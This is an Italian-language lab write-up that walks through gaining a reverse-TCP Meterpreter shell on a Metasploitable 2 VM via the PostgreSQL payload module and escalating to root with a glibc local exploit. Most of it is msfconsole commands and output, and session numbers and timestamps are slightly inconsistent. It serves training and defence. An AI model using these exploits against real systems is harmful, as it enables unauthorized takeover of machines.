Escalation di Privilegi con Meterpreter

Introduzione

Questo report documenta il processo completo di escalation di privilegi in una sessione Meterpreter su una macchina target Metasploitable 2. L'obiettivo è passare da un utente limitato a root utilizzando esclusivamente i moduli disponibili in msfconsole.

Durante questa esercitazione pratica, verranno analizzati i passaggi fondamentali per sfruttare vulnerabilità locali e ottenere privilegi amministrativi su un sistema Linux compromesso.

Fase 1: Ottenimento della Sessione

Avvio di msfconsole

Il primo step consiste nell'avviare il framework Metasploit sulla macchina Kali Linux utilizzando il comando:

msfconsole

Questo avvia la console interattiva di Metasploit, dalla quale è possibile selezionare, configurare e lanciare moduli di sfruttamento.

Selezione e Configurazione del Modulo di Exploitation

Per sfruttare una vulnerabilità nel servizio PostgreSQL di Metasploitable 2, utilizziamo il seguente modulo:

exploit/linux/postgres/postgres_payload

Prima di lanciare l'exploit, è necessario configurare i parametri obbligatori:

- **LHOST**: Indirizzo IP della macchina Kali (attaccante)
- **RHOSTS**: Indirizzo IP del target (Metasploitable 2)

```
msf > exploit/linux/postgres/postgres_payload
[-] Unknown command: exploit/linux/postgres/postgres_payload. Run the help command for more details.
This is a module we can load. Do you want to use exploit/linux/postgres/postgres_payload? [y/N]   y
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf exploit(linux/postgres/postgres_payload) > options

Module options (exploit/linux/postgres/postgres_payload):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   VERBOSE  false            no        Enable verbose output


   Used when connecting via an existing SESSION:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   no        The session to run this module on


   Used when making a new connection via RHOSTS:

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DATABASE  postgres         no        The database to authenticate against
   PASSWORD  postgres         no        The password for the specified username. Leave blank for a random password.
   RHOSTS    192.168.10.11    no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT     5432             no        The target port (TCP)
   USERNAME  postgres         no        The username to authenticate as


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.10.10    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux x86



View the full module info with the info, or info -d command.

msf exploit(linux/postgres/postgres_payload) > run
[*] Started reverse TCP handler on 192.168.10.10:4444
[*] 192.168.10.11:5432 - 192.168.10.11:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] 192.168.10.11:5432 - Uploaded as /tmp/GbKBHsEY.so, should be cleaned up automatically
[*] Sending stage (1062760 bytes) to 192.168.10.11
[*] Meterpreter session 7 opened (192.168.10.10:4444 → 192.168.10.11:35439) at 2026-01-21 09:05:45 -0500

meterpreter > getuid
Server username: postgres
meterpreter >
```

L'exploit ha avuto successo: è stata stabilita una sessione Meterpreter.

Tuttavia, il comando *getuid* rivela che l'utente attuale è *postgres*, un utente senza privilegi di root. Per ottenere il controllo amministrativo completo del sistema, è necessario eseguire un'escalation di privilegi.

Fase 2: Identificazione Vulnerabilità Locali

Caricamento del Modulo Local Exploit Suggester

Il modulo `post/multi/recon/local_exploit_suggester` analizza il sistema target e identifica automaticamente le vulnerabilità locali che potrebbero portare all'escalation di privilegi:

```
msf post(multi/recon/local_exploit_suggester) > run
[*] 192.168.10.11 - Collecting local exploits for x86/linux ...
[*] 192.168.10.11 - 201 exploit checks are being tried ...
[+] 192.168.10.11 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable.
[+] 192.168.10.11 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable.
[+] 192.168.10.11 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 192.168.10.11 - exploit/linux/local/ptrace_sudo_token_priv_esc: The service is running, but could not be validated.
[+] 192.168.10.11 - exploit/linux/local/su_login: The target appears to be vulnerable.
[+] 192.168.10.11 - exploit/unix/local/setuid_nmap: The target is vulnerable. /usr/bin/nmap is setuid

[*] 192.168.10.11 - Valid modules for session 2:
============================

 #   Name                                                Potentially Vulnerable?  Check Result
 -   ----                                                -----------------------  ------------
 1   exploit/linux/local/glibc_ld_audit_dso_load_priv_esc  Yes                      The target appears to be vulnerable.
 2   exploit/linux/local/glibc_origin_expansion_priv_esc   Yes                      The target appears to be vulnerable.
 3   exploit/linux/local/netfilter_priv_esc_ipv4           Yes                      The target appears to be vulnerable.
 4   exploit/linux/local/ptrace_sudo_token_priv_esc        Yes                      The service is running, but could not be validated.
 5   exploit/linux/local/su_login                          Yes                      The target appears to be vulnerable.
 6   exploit/unix/local/setuid_nmap                        Yes                      The target is vulnerable. /usr/bin/nmap is setuid
```

Tra questi, l'exploit `glibc_ld_audit_dso_load_priv_esc` rappresenta la vulnerabilità più promettente per ottenere privilegi root.

Fase 3: Esecuzione dell'Escalation

Lanciamento dell'Exploit e Ottenimento dei Privilegi Root

Dopo la configurazione, l'exploit viene lanciato con il comando `exploit`. Il modulo sfrutta una vulnerabilità nel caricamento della libreria glibc per elevare i privilegi:

```
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run
[*] Started reverse TCP handler on 192.168.10.10:4444
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.RrCbx6zYk' (1271 bytes) ...
[*] Writing '/tmp/.fHts8AOC' (291 bytes) ...
[*] Writing '/tmp/.V7zCAHm' (207 bytes) ...
[*] Launching exploit ...
[*] Sending stage (1062760 bytes) to 192.168.10.11
[*] Meterpreter session 6 opened (192.168.10.10:4444 → 192.168.10.11:45034) at 2026-01-21 09:02:15 -0500

meterpreter > getuid
Server username: root
meterpreter >
```

Successo! L'escalation di privilegi è stata completata. L'utente è ora root, con accesso amministrativo completo al sistema target.

Conclusioni

Questa esercitazione ha dimostrato il processo completo di sfruttamento da un accesso limitato a privilegi amministrativi su un sistema Linux. La combinazione di un exploit di rete iniziale e di vulnerabilità locali di escalation di privilegi rappresenta una delle minacce più significative per la sicurezza dei sistemi.

L'utilizzo di Metasploit e dei suoi moduli post-exploitation automatizza efficacemente il processo di identificazione e sfruttamento di vulnerabilità, evidenziando l'importanza di mantenere i sistemi aggiornati e applicare i principi del minimo privilegio.